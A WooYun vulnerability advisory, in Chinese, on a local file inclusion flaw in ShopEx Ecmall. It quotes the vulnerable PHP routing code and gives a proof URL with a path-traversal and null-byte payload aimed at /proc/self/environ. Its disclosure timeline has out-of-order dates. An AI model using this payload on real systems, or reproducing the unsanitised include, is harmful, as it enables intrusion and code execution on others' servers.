当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-02515

漏洞标题:Ecmall全版本本地文件包含漏洞

相关厂商:ShopEx

漏洞作者: 路人甲

提交时间:2011-07-18 00:32

修复时间:2011-08-17 03:00

公开时间:2011-08-17 03:00

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-07-18: 细节已通知厂商并且等待厂商处理中
2011-07-21: 厂商已经确认,细节仅向厂商公开
2011-07-24: 细节向第三方安全合作伙伴开放
2011-09-14: 细节向核心白帽子及相关领域专家公开
2011-09-24: 细节向普通白帽子公开
2011-10-04: 细节向实习白帽子公开
2011-08-17: 细节向公众公开

简要描述:

Ecmall的默认处理中犯了一个严重的错误,绕开了系统中的保护逻辑从而导致可以包含任意文件以php代码执行

详细说明:

eccore/ecmall.php内

if (!get_magic_quotes_gpc())
{
$_GET = addslashes_deep($_GET);
$_POST = addslashes_deep($_POST);
$_COOKIE= addslashes_deep($_COOKIE);
}
/* 请求转发 */
$default_app = $config['default_app'] ? $config['default_app'] : 'default';
$default_act = $config['default_act'] ? $config['default_act'] : 'index';
$app = isset($_REQUEST['app']) ? trim($_REQUEST['app']) : $default_app;
$act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : $default_act;
$app_file = $config['app_root'] . "/{$app}.app.php";
if (!is_file($app_file))
{
exit('Missing controller');
}


貌似是考虑到GPC对程序的影响所以进行了强制保护,但是REQUEST的内容却缺乏保护,导致可以包含代码执行

漏洞证明:

wooyun.org/index.php?app=../../../../../../../../../proc/self/environ%00wooyun.org

修复方案:

不需要啊不需要

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2011-07-21 14:29

厂商回复:

谢谢辛苦 我们下次一定会主意的~

最新状态:

暂无